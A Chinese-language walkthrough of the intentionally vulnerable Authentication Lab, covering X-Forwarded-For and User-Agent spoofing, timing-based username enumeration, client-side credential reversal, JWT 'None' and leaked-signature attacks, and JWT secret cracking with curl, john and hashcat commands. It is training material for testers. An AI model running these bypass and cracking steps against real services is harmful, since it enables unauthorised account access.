认证实验室实战演练
认证实验室提供一系列与认证和授权相关的挑战,所有案例均基于真实测试场景或由其他测试人员建议构建。实验室使用Golang编写,代码已开源在GitHub,可自行部署。
IP认证绕过
目标:发现故意的IP认证绕过漏洞。
漏洞原理
开发人员为免登录,设置了基于源IP的认证:若请求IP匹配预设IP(如192.168.0.14),则自动登录。但代码同时检查X-Forwarded-For
头,导致攻击者可通过添加该头伪造IP。
攻击步骤
- 使用curl添加伪造头:
1
curl -H "X-Forwarded-For: 192.168.0.14" https://authlab.digi.ninja/Bypass
- 批量测试IP范围(1-255):
1 2 3
for ip in {1..255}; do curl -H "X-Forwarded-For: 192.168.0.$ip" https://authlab.digi.ninja/Bypass -o $ip.out done
- 通过文件大小差异(如14.out较小)或内容对比发现有效IP:
输出显示IP 192.168.0.14成功登录用户Alex。
1
diff 14.out 15.out
时序攻击
目标:通过响应时间差异识别有效用户名(共4个)。
攻击步骤
- 获取用户名列表(男孩和女孩名字):
1 2
curl -s https://www.babble.com/pregnancy/1000-most-popular-boy-names/ | grep "<li>" | sed 's/[<\/]*<\/.*//' | sed 's/.*>//' > /tmp/boys curl -s https://www.babble.com/pregnancy/1000-most-popular-girl-names/ | grep "<li>" | sed 's/[<\/]*<\/.*//' | sed 's/.*>//' > /tmp/girls
- 使用Burp Intruder加载列表,攻击用户名字段。
- 添加响应时间列(“Response received"和"Response completed”),排序后识别耗时较长的请求(如Zoe、Sarah等)。
- 通过Repeater验证时序结果,排除误报(如Marlee因服务器负载导致异常)。
客户端认证绕过
目标:分析JavaScript认证逻辑,逆向获取凭证。
漏洞原理
认证完全在客户端执行:用户名和密码用冒号拼接,与密钥异或后结果与预期值比对。若匹配,则计算密码MD5并重定向。
攻击步骤
- 从JavaScript中提取加密字符串和密钥。
- 在控制台执行异或操作:
1
xorString(encrypted, secret) // 返回"alex:supersecret"
- 使用凭证
alex/supersecret
登录成功。
JWT信息泄露
目标:解码JWT并利用敏感信息提升权限。
JWT结构分析
Token格式:Header.Payload.Signature
,前两部分为Base64编码的JSON。
攻击步骤
- 解码示例Token:
1 2
echo -n "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d # 头部:HS256算法 echo -n "eyJsZXZlbCI6ImFkbWluIiwicGFzc3dvcmQiOiIyYWM5Y2I3ZGMwMmIzYzAwODNlYjcwODk4ZTU0OWI2MyIsInVzZXJuYW1lIjoiam9lIn0" | base64 -d # 载荷:包含密码MD5
- 通过Google破解MD5哈希(2ac9cb7dc02b3c0083eb70898e549b63)获得密码"password123"。
- 使用
joe/password123
登录并获取管理员权限。
CVE-2019-7644:JWT签名泄露
目标:利用错误信息泄露的签名提升权限。
攻击步骤
- 使用初始Token登录(用户Sid,权限user)。
- 修改载荷中
level
为admin
,生成新Token。 - 服务器返回错误,但泄露期望签名
FO8ZDKSDNVnt_VB3f35_ofEMGFDTrv0dVo8hjGXDtn8
。 - 替换签名后使用新Token登录,获得管理员权限。
User-Agent认证绕过
目标:通过伪造User-Agent字符串访问受保护资源。
攻击步骤
- 分析提供的ping脚本,发现使用特定User-Agent:
authlab desktop app
。 - 测试不同User-Agent:
1 2
curl -A "authlab desktop app" https://authlab.digi.ninja/UserAgentPing # 返回"Pong" curl https://authlab.digi.ninja/UserAgentPing # 返回"Not Authenticated"
- 使用浏览器插件或代理强制设置User-Agent,刷新页面获取秘密信息。
JWT None算法攻击
目标:通过修改JWT算法为"None"绕过签名验证。
攻击步骤(使用Burp插件JOSEPH):
- 检测到JWT后,发送请求至Repeater。
- 在JWS选项卡中使用"Signature Exclusion"攻击,选择非"none"的变体(如"None")。
- 修改载荷(如提升权限),重放请求成功绕过验证。
JWT密钥破解
目标:使用John the Ripper或Hashcat破解JWT的HMAC密钥。
攻击步骤:
- 简单密钥(如"hello"):
1 2
john --wordlist=rockyou-75.txt token.jwt hashcat -m 16500 -a 0 token.jwt rockyou-75.txt
- 中等密钥(如"Tiger"):
1 2
john --rules --wordlist=rockyou-75.txt token.jwt # 使用规则触发大小写变换 hashcat -m 16500 -a 0 token.jwt rockyou-75.txt --rules-file=d3ad0ne.rule
- 复杂密钥(如"powerhouse2020"):
1 2
john --rules=passphrase-rule2 --wordlist=rockyou-75.txt token.jwt hashcat -m 16500 -a 6 token.jwt rockyou-75.txt ?d?d?d?d # 混合模式添加数字后缀
- 隐蔽密钥:需自定义字典(建议使用CeWL爬取相关词汇)。
开发者需注意:避免在客户端处理认证、谨慎存储JWT敏感信息、移除调试代码。测试人员应检查所有响应细节,利用时序差异和错误信息,并验证不同入口点的认证一致性。